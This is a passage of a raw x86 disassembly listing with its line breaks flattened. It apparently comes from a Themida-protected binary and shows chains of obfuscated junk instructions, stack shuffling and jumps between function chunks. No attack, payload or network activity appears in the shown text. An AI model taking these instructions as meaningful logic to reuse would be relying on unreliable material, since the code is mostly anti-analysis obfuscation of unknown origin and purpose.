dword ptr [ebx] push edx mov edx, 76BF0F52h xor [esp+50h+var_4E+2], edx pop edx jmp loc_55C831 ; --------------------------------------------------------------------------- loc_5548DC: ; CODE XREF: sub_559C84+983j push [esp+4Ch+var_4E+2] push [esp+50h+var_52+2] pop ebp add esp, 4 jmp sub_55702F ; --------------------------------------------------------------------------- loc_5548EB: ; CODE XREF: sub_559C84+590Dj dec edx xor edx, 584F0E3h add ebx, 0F4B12A1h jmp loc_559469 ; --------------------------------------------------------------------------- loc_5548FD: ; CODE XREF: sub_559C84+160Dj add edx, 0FDBBD4C3h mov edi, edx jmp loc_554B6D ; --------------------------------------------------------------------------- loc_55490A: ; CODE XREF: sub_559C84+9A7j sub ecx, 4 xchg ecx, [esp+4Ch+var_4E+2] pop esp jmp loc_55F082 ; --------------------------------------------------------------------------- loc_554916: ; CODE XREF: sub_559C84-5FC3j xor ebx, esi jmp loc_553EF3 ; --------------------------------------------------------------------------- loc_55491D: ; CODE XREF: sub_559C84-573Ej push edx jmp loc_55D74F ; --------------------------------------------------------------------------- loc_554923: ; CODE XREF: sub_559C84-51DBj or edx, eax shl edx, 1 sub esp, 4 jmp loc_55DCE1 ; --------------------------------------------------------------------------- loc_554932: ; CODE XREF: sub_559C84-2685j pop esp mov word ptr [esp+38h+var_3A+2], dx push ax pushf jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555BE3 loc_55493F: ; CODE XREF: sub_555BE3+817Fj mov esp, [esp+4+var_4] mov ax, [esp-8+arg_4] push 669Fh mov [esp-4+arg_0], edi push 5065h mov [esp+0], esp jmp loc_55634B ; END OF FUNCTION CHUNK FOR sub_555BE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55495B: ; CODE XREF: sub_559C84+2A4Aj push [esp+3Eh+var_3E] pop ecx push ebp mov ebp, esp push ebp mov ebp, esp jmp loc_55C162 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55496A: ; CODE XREF: Themida_:0055FA30j jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55496F: ; CODE XREF: sub_559C84-2B65j add al, 0C7h sub al, dh jmp loc_55C8BE ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_553DAA ; --------------------------------------------------------------------------- loc_554981: ; CODE XREF: Themida_:00556E90j push edi mov edi, 4 add [esp+4], edi pop edi pop edi add edi, 4 push eax mov eax, 4 add edi, eax pop eax xor edi, [esp] xor [esp], edi jmp loc_55F705 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5549A7: ; CODE XREF: sub_559C84-4E6j mov ecx, [esp+46h+var_46] jmp loc_55A9B6 ; --------------------------------------------------------------------------- loc_5549AF: ; CODE XREF: sub_559C84+31B0j mov edx, [esp+46h+var_46] add esp, 4 add edx, 296C7ECCh jmp loc_5555A7 ; --------------------------------------------------------------------------- loc_5549C3: ; CODE XREF: sub_559C84+281Cj sub eax, 356C46BEh add eax, 582A5C22h sub eax, 7EE17301h sub eax, ebx push 1198h mov [esp+46h+var_46], ecx mov ecx, 7EE17301h add eax, ecx mov ecx, [esp+46h+var_46] push ebx jmp loc_55F518 ; --------------------------------------------------------------------------- loc_5549EC: ; CODE XREF: sub_559C84+30E8j pop ecx jmp loc_559542 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- dw 0D800h ; --------------------------------------------------------------------------- add al, 24h sub al, 25h jmp loc_55D507 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5549FD: ; CODE XREF: sub_559C84+2BA8j xor ecx, 14951956h jmp loc_5595AC ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_554A08: ; CODE XREF: Themida_:00556925j jmp loc_55351F ; --------------------------------------------------------------------------- loc_554A0D: ; DATA XREF: Themida_:0055325Co push dword ptr [esp] jmp loc_559746 ; --------------------------------------------------------------------------- push 1B8Bh mov [esp], ebx jmp loc_55848A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554A22: ; CODE XREF: sub_559C84-4E6Ej add cl, 86h sub cl, 0E5h jmp loc_554ED8 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- lodsb sub esp, 4 mov [esp], ecx push edx mov dh, 7Ch push edx mov dl, 0B3h not dl jmp loc_556035 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ecx sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 jmp loc_55AF12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554A69: ; CODE XREF: sub_559C84-2AF2j push ecx push edx jmp loc_557134 ; --------------------------------------------------------------------------- loc_554A70: ; CODE XREF: sub_559C84+271Ej shl dl, 5 jmp loc_55632A ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_55D634 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554A87: ; CODE XREF: sub_559C84+F89j sub bl, ah sub bl, 39h push [esp+4Eh+var_4E] pop eax jmp loc_55DD4C ; --------------------------------------------------------------------------- loc_554A95: ; CODE XREF: sub_559C84+352Aj push edx mov edx, 1B455BF8h jmp loc_5575F0 ; --------------------------------------------------------------------------- loc_554AA0: ; CODE XREF: sub_559C84+3B09j pop esp and eax, ecx mov ecx, [esp+4Eh+var_4E] add esp, 4 jmp loc_554923 ; --------------------------------------------------------------------------- loc_554AAE: ; CODE XREF: sub_559C84-404j dec edx push eax mov eax, 664169D6h xor edx, eax pop eax jmp loc_5582B8 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559B47 loc_554ABD: ; CODE XREF: sub_559B47+1j mov bx, 0B23h xor bx, 46A3h sub bx, 288Fh jmp sub_558B94 ; END OF FUNCTION CHUNK FOR sub_559B47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554AD0: ; CODE XREF: sub_559C84+1A67j pop [esp+4Ah+var_4A] jmp loc_55E035 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_554AD8: ; CODE XREF: Themida_:00554DF0j xor edx, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554AE8: ; CODE XREF: sub_559C84+4D03j xchg edi, [esp+46h+var_46] pop esp push ebp jmp loc_55AE24 ; --------------------------------------------------------------------------- loc_554AF2: ; CODE XREF: sub_559C84-32FBj pop ecx jmp loc_553960 ; --------------------------------------------------------------------------- loc_554AF8: ; CODE XREF: sub_559C84+14E3j add al, 0F2h jmp loc_55F72D ; --------------------------------------------------------------------------- loc_554AFF: ; CODE XREF: sub_559C84+145Bj xor ebp, 4AA96FB4h mov eax, ebp jmp loc_55B9C7 ; --------------------------------------------------------------------------- loc_554B0C: ; CODE XREF: sub_559C84+351Ej xor edi, [esp+42h+var_42] pop esp div ecx push ebx push 0AD5h jmp loc_557711 ; --------------------------------------------------------------------------- loc_554B1D: ; CODE XREF: sub_559C84+245Fj mov [esp+46h+var_46], edx jmp loc_557161 ; --------------------------------------------------------------------------- loc_554B25: ; CODE XREF: sub_559C84-2642j xor [esp+46h+var_46], edx jmp loc_556312 ; --------------------------------------------------------------------------- loc_554B2D: ; CODE XREF: sub_559C84+2A1Cj jmp loc_55351F ; --------------------------------------------------------------------------- loc_554B32: ; CODE XREF: sub_559C84-406Ej sub esi, edi mov edi, [esp+46h+var_46] add esp, 4 push 1434h mov [esp+46h+var_46], esi pop edx mov esi, [esp+42h+var_42] add esp, 4 or ecx, ecx jz loc_555B5C push ebx push esp pop ebx add ebx, 4 sub ebx, 4 push 2A09h mov [esp+46h+var_46], ebx jmp loc_55BFDD ; --------------------------------------------------------------------------- loc_554B6D: ; CODE XREF: sub_559C84-537Fj pop edx sub edi, 0E2F34A4h xchg eax, edi not eax jmp loc_554591 ; --------------------------------------------------------------------------- loc_554B7C: ; CODE XREF: sub_559C84+3089j add esi, 4 add esi, 4 xchg esi, [esp+48h+var_4A+2] mov esp, [esp+48h+var_4A+2] add ecx, 4 sub ecx, 4 xor ecx, [esp+48h+var_4A+2] jmp loc_555B98 ; --------------------------------------------------------------------------- loc_554B9F: ; CODE XREF: sub_559C84-2943j push cx jmp loc_556F8F ; --------------------------------------------------------------------------- loc_554BA6: ; CODE XREF: sub_559C84-327Fj sub edx, 2E3E36C2h or edx, 57CF1307h jmp loc_559E25 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5599A2 loc_554BB7: ; CODE XREF: sub_5599A2-3335j push eax mov eax, 73DC3C75h mov ecx, 4FA4FC47h add ecx, eax pop eax sub edx, ecx mov ecx, [esp+0] add esp, 4 xor eax, edx mov edx, [esp-4+arg_0] add esp, 4 jmp loc_55A8DF ; END OF FUNCTION CHUNK FOR sub_5599A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554BDD: ; CODE XREF: sub_559C84+9F1j pop eax add edi, ebx push edx mov edx, 67E70C28h sub edi, edx jmp loc_55ABA2 ; --------------------------------------------------------------------------- loc_554BED: ; CODE XREF: sub_559C84+2330j push ecx mov ecx, 17EF449Eh add ecx, 720D52ECh and ecx, 7CC61A82h and ecx, 65BC2335h xor ecx, 840204h add eax, ecx pop ecx add eax, 4 xchg eax, [esp+4Ah+var_4A] pop esp add ebx, 4 add ebx, 4 xor ebx, [esp+46h+var_46] jmp loc_555936 ; --------------------------------------------------------------------------- loc_554C2B: ; CODE XREF: sub_559C84+75Cj push esi push esp pop esi add esi, 4 push ebx jmp loc_55DB42 ; --------------------------------------------------------------------------- loc_554C3A: ; CODE XREF: sub_559C84+3318j push eax jmp loc_55AC08 ; --------------------------------------------------------------------------- loc_554C40: ; CODE XREF: sub_559C84+4C15j xor eax, [esp+52h+var_52] xor [esp+52h+var_52], eax jmp loc_5555FB ; --------------------------------------------------------------------------- loc_554C4B: ; CODE XREF: sub_559C84-3D47j pop bx push ebx mov bl, 5 shl bl, 4 add bl, 6Ch jmp loc_5539C9 ; --------------------------------------------------------------------------- loc_554C5B: ; CODE XREF: sub_559C84+36E7j add esp, 4 push edx sub esp, 4 mov [esp+58h+var_58], esp add [esp+58h+var_58], 4 mov edx, [esp+58h+var_58] add esp, 4 add edx, 4 add edx, 4 xor edx, [esp+0] jmp loc_559B90 ; --------------------------------------------------------------------------- loc_554C83: ; CODE XREF: sub_559C84+7B7j jmp loc_55351F ; --------------------------------------------------------------------------- loc_554C88: ; CODE XREF: sub_559C84+15Ej add word ptr [esp+54h+var_52], 5235h add word ptr [esp+54h+var_52], cx sub word ptr [esp+54h+var_52], 5235h push bx jmp loc_55B7A4 ; --------------------------------------------------------------------------- loc_554CA2: ; CODE XREF: sub_559C84-2CC7j movzx cx, al jmp loc_555FEC ; --------------------------------------------------------------------------- loc_554CAB: ; CODE XREF: sub_559C84+1421j pop ebx sub esp, 4 mov [esp+56h+var_58+2], edx mov dl, 0ABh not dl or dl, 2Fh add dl, 0A9h sub dl, 0BDh add dl, 0C3h add bl, dl mov edx, [esp+56h+var_58+2] jmp loc_554DF5 ; --------------------------------------------------------------------------- loc_554CCF: ; CODE XREF: sub_559C84+1D07j not ecx and ecx, 28617C9Dh add ecx, 3EB7CC2Fh jmp loc_555CC9 ; --------------------------------------------------------------------------- loc_554CE2: ; CODE XREF: sub_559C84+4A2Ej xor eax, [esp+56h+var_58+2] mov esp, [esp+56h+var_58+2] mul ecx push ebp mov ebp, esp push edx jmp loc_55E6EC ; --------------------------------------------------------------------------- loc_554CF3: ; CODE XREF: sub_559C84-1BCCj add esi, 258163B0h pop ebx xor esi, [esp+5Ah+var_5C+2] xor [esp+5Ah+var_5C+2], esi xor esi, [esp+5Ah+var_5C+2] mov esp, [esp+5Ah+var_5C+2] sub [esp+5Ah+var_5C+2], 0CC6158Dh push 7200h mov [esp+5Eh+var_60+2], ecx push 1CAC02BDh pop ecx jmp loc_55457D ; --------------------------------------------------------------------------- loc_554D20: ; CODE XREF: sub_559C84+37Ej mov ah, 0BFh mov bl, ah jmp loc_55DC6B ; --------------------------------------------------------------------------- loc_554D29: ; CODE XREF: sub_559C84-C92j mov ecx, [esp+5Eh+var_60+2] add esp, 4 push ebx push 7FEBh mov [esp+62h+var_64+2], esp push ecx mov ecx, 4 add [esp+66h+var_64+2], ecx pop ecx mov ebx, [esp+62h+var_64+2] jmp loc_55A470 ; --------------------------------------------------------------------------- loc_554D4B: ; CODE XREF: sub_559C84-4FAj mov ecx, 6AB11B86h neg ecx and ecx, 5B8C51EFh sub ecx, 34047B19h push ebp push edi push 537F1A37h jmp loc_557B24 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_554D6A proc near ; CODE XREF: sub_559C84+2F0Bj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055E7C0 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0055FB38 SIZE 0000000B BYTES sub esp, 4 mov [esp+4+var_4], esi push dword ptr [esp+4] pop esi pop [esp+4+var_4] jmp loc_55FB38 sub_554D6A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554D80: ; CODE XREF: sub_559C84+5142j sub [esp+6Eh+var_70+2], eax add [esp+6Eh+var_70+2], 2E900F06h add [esp+6Eh+var_70+2], 1A966F45h jmp loc_55351F ; --------------------------------------------------------------------------- loc_554D96: ; CODE XREF: sub_559C84-34E8j xor eax, 4FA76B07h add edi, eax pop eax push ebp mov ebp, 2F4E0C72h or ebp, 5DE67DCh sub ebp, 0FFFFFFFFh xor ebp, 167C1EDEh xor ebp, 39A27125h add edi, 17ED4256h jmp loc_55F1B0 ; --------------------------------------------------------------------------- loc_554DC7: ; CODE XREF: sub_559C84-621Fj push esi mov esi, 4 add eax, esi jmp loc_55C8D5 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_554DD4: ; CODE XREF: Themida_:0055E762j add esp, 4 push 5A4Ah mov [esp], edi mov edi, 2 add edx, edi pop edi xor edx, [esp] xor [esp], edx jmp loc_554AD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554DF5: ; CODE XREF: sub_559C84-4FBAj add esp, 4 sub bl, al sub bl, 2Eh pop ax add al, bl mov ebx, [esp+50h+var_52+2] add esp, 4 push 5D4Eh mov [esp+50h+var_52+2], ecx mov cl, 0D4h neg cl jmp loc_554A22 ; --------------------------------------------------------------------------- loc_554E1B: ; CODE XREF: sub_559C84+533Bj pop ecx or edx, 6F4006ABh xor edx, 7FEC2FAFh jmp loc_55CB44 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push 4371h mov [esp], ebp jmp loc_55FB01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554E49: ; CODE XREF: sub_559C84+58ACj mov edi, 736019C7h push ebx mov ebx, 43745012h and edi, ebx pop ebx not edi inc edi dec edi jmp loc_55CAF5 ; --------------------------------------------------------------------------- loc_554E60: ; CODE XREF: sub_559C84-4498j mov eax, 1207254Bh xor ecx, eax pop eax jmp loc_55E55A ; --------------------------------------------------------------------------- loc_554E6D: ; CODE XREF: sub_559C84+3255j pop bp add si, 7FE3h shl si, 5 jmp sub_559B47 ; --------------------------------------------------------------------------- loc_554E7D: ; CODE XREF: sub_559C84+3FA2j jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_554E82: ; CODE XREF: Themida_:005560A0j sub esp, 4 mov [esp], ecx push 12C3h mov [esp], edi push ecx mov ecx, 26CC0FC8h jmp loc_55F462 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554E9B: ; CODE XREF: sub_559C84+B98j pop esp jmp loc_55F9D2 ; --------------------------------------------------------------------------- loc_554EA1: ; CODE XREF: sub_559C84-5454j mov edx, esp push 3018h mov [esp+50h+var_52+2], ebx mov ebx, 4 add edx, 379E3B4Fh add edx, ebx sub edx, 379E3B4Fh pop ebx add edx, 4 jmp loc_5553B8 ; --------------------------------------------------------------------------- loc_554ECA: ; CODE XREF: sub_559C84+1CB2j push esi push esp pop esi jmp loc_559A18 ; --------------------------------------------------------------------------- loc_554ED2: ; CODE XREF: sub_559C84-58C4j pop ecx jmp loc_559A28 ; --------------------------------------------------------------------------- loc_554ED8: ; CODE XREF: sub_559C84-525Cj sub cl, 0FFh push 89h mov [esp+4Ah+var_4A], ecx push ax push ebx mov bh, dh mov ah, bh mov ebx, [esp+50h+var_52+2] add esp, 4 mov dh, byte ptr [esp+4Ch+var_4A] mov byte ptr [esp+4Ch+var_4A], ah pop ax not dh push eax mov ah, dh mov dh, byte ptr [esp+4Eh+var_4A] jmp loc_55517F ; --------------------------------------------------------------------------- loc_554F0B: ; CODE XREF: sub_559C84-1718j mov al, 3Fh sub al, 0DAh shl al, 8 inc al add al, 0 add dh, al pop eax and dh, 1Eh push eax mov al, 4Ch neg al sub al, 8Ah or al, 63h dec al xor al, 23h xor dh, al pop eax sub al, dh pop edx push eax push 3FEBh mov [esp+4Eh+var_4E], esp add [esp+4Eh+var_4E], 4 pop eax push esi mov esi, 77F1355Bh shl esi, 7 add esi, 5FCA2BC5h push 4DF7h mov [esp+52h+var_52], edx mov edx, 5864D941h xor esi, edx jmp loc_556B8D ; --------------------------------------------------------------------------- loc_554F63: ; CODE XREF: sub_559C84-291Bj mov edx, [esp+52h+var_52] add esp, 4 shl edx, 4 add edx, 1 add edx, 0FFFFFFFFh push esi mov esi, 87924674h jmp loc_558533 ; --------------------------------------------------------------------------- loc_554F83: ; CODE XREF: sub_559C84+1289j mov edi, 1FFF6264h sub esi, edi pop edi add esi, edx add esi, 1FFF6264h mov edx, [esp+4Eh+var_4E] push eax mov eax, esp jmp loc_55EBD3 ; --------------------------------------------------------------------------- loc_554F9E: ; CODE XREF: sub_559C84+3F8Bj xor eax, 0C6341A17h mov esi, eax pop eax neg esi add esi, 50557CE5h sub edx, 7F590390h add edx, 2A8F4C09h sub edx, esi sub edx, 2A8F4C09h jmp sub_555089 ; --------------------------------------------------------------------------- loc_554FC7: ; CODE XREF: sub_559C84+41F1j pop ecx pop edi jmp loc_5571D7 ; --------------------------------------------------------------------------- loc_554FCE: ; CODE XREF: sub_559C84+2092j add [esp+46h+var_46], 4 pop ebx push eax push esi mov esi, 694E2D80h push esi jmp loc_55B310 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_554FE3: ; CODE XREF: Themida_:00553E2Aj mov edi, 4 sub esi, 2C5745A3h jmp loc_55B16C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554FF3: ; CODE XREF: sub_559C84-468Ej pop ebx push edi mov edi, 23395854h jmp loc_55F3BF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E51A loc_554FFF: ; CODE XREF: sub_55E51A+6j push esp pop ecx add ecx, 4 sub ecx, 4 jmp near ptr unk_5537FA ; END OF FUNCTION CHUNK FOR sub_55E51A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557976 loc_555012: ; CODE XREF: sub_557976+1A64j xor bl, dh jmp loc_557346 ; END OF FUNCTION CHUNK FOR sub_557976 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555019: ; CODE XREF: sub_559C84+5700j mov edi, 379751B8h shr edi, 5 xor edi, 0DB770DB4h jmp loc_555FFD ; --------------------------------------------------------------------------- loc_55502C: ; CODE XREF: sub_559C84+E45j pop eax jmp loc_557F99 ; --------------------------------------------------------------------------- loc_555032: ; CODE XREF: sub_559C84+5E7j and ah, ch pop ecx add ah, 8 sub ah, 0CDh jmp loc_55A886 ; --------------------------------------------------------------------------- loc_555040: ; CODE XREF: sub_559C84+1007j xor edi, 0E51273Bh jmp loc_55427B ; --------------------------------------------------------------------------- loc_55504B: ; CODE XREF: sub_559C84+5021j push 62D6h mov [esp+4Ah+var_4A], esp jmp loc_55CD02 ; --------------------------------------------------------------------------- loc_555058: ; CODE XREF: sub_559C84-29C3j add esp, 4 add esi, ebp jmp loc_55D812 ; --------------------------------------------------------------------------- loc_555062: ; CODE XREF: sub_559C84-6657j mov edi, 2D622528h xchg ecx, edi not ecx xchg ecx, edi inc edi dec edi sub edi, 0FFFFFFFFh add edi, 1 add edi, 940226A2h mov ecx, edi pop edi jmp loc_55F842 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_555089 proc near ; CODE XREF: sub_559C84-4CC2j push ebp mov ebp, 7F590390h add edx, ebp pop ebp mov esi, [esp+0] add esp, 4 jmp loc_55351F sub_555089 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5550A0: ; CODE XREF: sub_559C84-4118j push esi push 761C19B0h pop esi or esi, 59AC2363h jmp loc_55F46D ; --------------------------------------------------------------------------- loc_5550B2: ; CODE XREF: sub_559C84-345j and eax, 5F301B95h or eax, 7C1347Bh jmp loc_55429D ; --------------------------------------------------------------------------- loc_5550C1: ; CODE XREF: sub_559C84+207Aj mov eax, 25486A49h not eax or eax, 7515176h add eax, 7BE20B7Dh jmp loc_55BFF8 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5550D7: ; DATA XREF: Themida_:00553278o xor [esp], ax xor ax, [esp] xor [esp], ax sub esp, 2 mov [esp], ax push dx push small word ptr [esp+2] pop dx pop small word ptr [esp] push dx xchg ax, [esp] xchg ax, bx not bx jmp loc_5545D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555107: ; CODE XREF: sub_559C84-5CBBj dec edx jmp loc_55C31F ; --------------------------------------------------------------------------- loc_55510D: ; CODE XREF: sub_559C84-B3Bj mov edi, ecx pop ecx jmp loc_55A6FF ; --------------------------------------------------------------------------- loc_555115: ; CODE XREF: sub_559C84+5B34j xchg ebx, [esp-0Ah+arg_4+2] pop esp and eax, ebp jmp loc_55A05A ; --------------------------------------------------------------------------- loc_555120: ; CODE XREF: sub_559C84-17Cj xor eax, edi xor edi, eax shl edi, 8 xor edi, 3D0D2E00h and eax, edi mov edi, [esp-0Eh+arg_8+2] jmp loc_55F16B ; --------------------------------------------------------------------------- loc_555137: ; CODE XREF: sub_559C84+208Aj add ebp, edi sub ebp, 65732130h pop edi push 371Dh mov [esp-0Eh+arg_8+2], ebx mov ebx, 2 add ebp, ebx pop ebx push edi jmp loc_557A6F ; --------------------------------------------------------------------------- loc_555156: ; CODE XREF: sub_559C84+2F5j mov esi, ebp pop ebp jmp loc_557183 ; --------------------------------------------------------------------------- loc_55515E: ; CODE XREF: sub_559C84+D5Cj add edi, 4 add edi, 4 jmp loc_556885 ; --------------------------------------------------------------------------- loc_55516C: ; CODE XREF: sub_559C84+3636j not ecx or ecx, 2B3938C7h sub ecx, 0FFFFFCEBh jmp loc_55EE2B ; --------------------------------------------------------------------------- loc_55517F: ; CODE XREF: sub_559C84-4D7Ej mov byte ptr [esp+4Eh+var_4A], ah pop eax pop ecx jmp loc_558DC1 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov ecx, [esp] push ebp jmp loc_55C412 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555193: ; CODE XREF: sub_559C84+4B37j push [esp+46h+var_46] pop edi add esp, 4 and ecx, 1F937B3Dh jmp loc_55B892 ; --------------------------------------------------------------------------- loc_5551A5: ; CODE XREF: sub_559C84+3342j pop edx shr edx, 7 add edx, 7C8D6C29h add edx, 0B5C27F94h mov ecx, edx jmp loc_55BD38 ; --------------------------------------------------------------------------- loc_5551BC: ; CODE XREF: sub_559C84+2EFDj sub [esp+3Eh+var_3E], 49A0615Eh mov eax, [esp+3Eh+var_3E] jmp sub_55598B ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5547B0 loc_5551CB: ; CODE XREF: sub_5547B0+4j mov esi, 20011E8Ch dec esi add esi, 0DFFEE179h add ebp, 2724257Dh add ebp, esi sub ebp, 2724257Dh pop esi push esi push eax push ecx mov ecx, 10A31163h xor ecx, 19B3799Ch mov eax, ecx pop ecx mov esi, 7D276D2Ah jmp loc_556C4E ; END OF FUNCTION CHUNK FOR sub_5547B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555201: ; CODE XREF: sub_559C84-2931j push dword ptr [eax] jmp loc_55351F ; --------------------------------------------------------------------------- loc_555208: ; CODE XREF: sub_559C84+4CEj xor [esp+42h+var_42], ebp xor ebp, [esp+42h+var_42] mov esp, [esp+42h+var_42] imul ecx push 3D3Bh mov [esp+46h+var_46], ebp push esp pop ebp push esi mov esi, 4 sub ebp, 4A77773Eh add ebp, esi add ebp, 4A77773Eh mov esi, [esp+4Ah+var_4A] push 242Ah jmp loc_5566EC ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55523E proc near ; CODE XREF: sub_559C84-3F2j push bx mov bh, 0B0h jmp loc_55A684 sub_55523E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_555247: ; CODE XREF: sub_559C84-E9Dj mov ebx, 4 jmp loc_555350 ; --------------------------------------------------------------------------- loc_555251: ; CODE XREF: sub_559C84+5DD1j xchg eax, [esp+4Eh+var_4E] mov esp, [esp+4Eh+var_4E] or byte ptr [esp+4Eh+var_4E], al pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_555260: ; CODE XREF: sub_559C84-454j mov esi, esp add esi, 4 jmp loc_559B54 ; --------------------------------------------------------------------------- loc_55526D: ; CODE XREF: sub_559C84+5C6Aj xor ecx, eax pop eax add eax, 46536CD3h jmp loc_5569A5 ; --------------------------------------------------------------------------- loc_55527A: ; CODE XREF: sub_559C84+1F23j mov bl, 0F8h mov al, 0D8h jmp loc_55E3D5 ; --------------------------------------------------------------------------- loc_555283: ; CODE XREF: sub_559C84-3C54j push ecx push edx pop ecx mov ebx, ecx push [esp+52h+var_52] pop ecx push ecx mov ecx, esp jmp loc_558390 ; --------------------------------------------------------------------------- loc_555294: ; CODE XREF: sub_559C84-46Aj push edx push edi push 8143DFh pop edi jmp loc_556D66 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E640 loc_5552A1: ; CODE XREF: sub_55E640+Ej sub ecx, 312536B2h shr ecx, 3 add ecx, 67F41474h push ebp mov ebp, 713C4B23h inc ebp not ebp or ebp, 583D379Bh or ebp, 11D42E76h jmp loc_559EBE ; END OF FUNCTION CHUNK FOR sub_55E640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5552CA: ; CODE XREF: sub_559C84-483Cj mov [esp+5Eh+var_60+2], edx push esi mov esi, 52A94C13h shr esi, 6 jmp loc_557CB1 ; --------------------------------------------------------------------------- loc_5552DB: ; CODE XREF: sub_559C84+1B0Ej xor byte ptr [esp+62h+var_64+2], al pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_5552E4: ; CODE XREF: sub_559C84-5F5Ej add ebp, 4 sub ebp, 4 xchg ebp, [esp+20h+var_20] jmp loc_556839 ; --------------------------------------------------------------------------- loc_5552F5: ; CODE XREF: sub_559C84-6389j add bl, 9 jmp loc_55BC08 ; --------------------------------------------------------------------------- loc_5552FD: ; CODE XREF: sub_559C84+2303j push 5EFAh mov [esp+4Ch+var_4E+2], ebx mov ebx, 340F3BABh push esi mov esi, 1A543B1h shr esi, 7 or esi, 6C143EFAh push eax mov eax, offset byte_5B067F xor esi, eax pop eax or ebx, esi pop esi inc ebx inc ebx push eax mov eax, 3BAF23DEh sub eax, 0BDAA1026h add ebx, eax pop eax push edx mov edx, 74B9294Bh or edx, 6E640196h shr edx, 3 jmp loc_557CDC ; --------------------------------------------------------------------------- loc_555349: ; CODE XREF: sub_559C84-2627j mov dh, 4Ah jmp loc_55643C ; --------------------------------------------------------------------------- loc_555350: ; CODE XREF: sub_559C84-4A38j add ecx, ebx pop ebx push 3FCAh jmp loc_5542C5 ; --------------------------------------------------------------------------- loc_55535D: ; CODE XREF: sub_559C84+88Bj push edx mov dh, bl not dh jmp loc_55B545 ; --------------------------------------------------------------------------- loc_555367: ; CODE XREF: sub_559C84+5D9Cj sub eax, 77B779D3h add eax, 220F55h sub eax, edi sub eax, 220F55h push ebp jmp loc_55B8EE ; --------------------------------------------------------------------------- loc_55537E: ; CODE XREF: sub_559C84-55CDj xchg ebx, [esp+3Ch+var_3E+2] mov esp, [esp+3Ch+var_3E+2] mov [esp+3Ch+var_3E+2], esi push esp pop esi jmp loc_55DADE ; 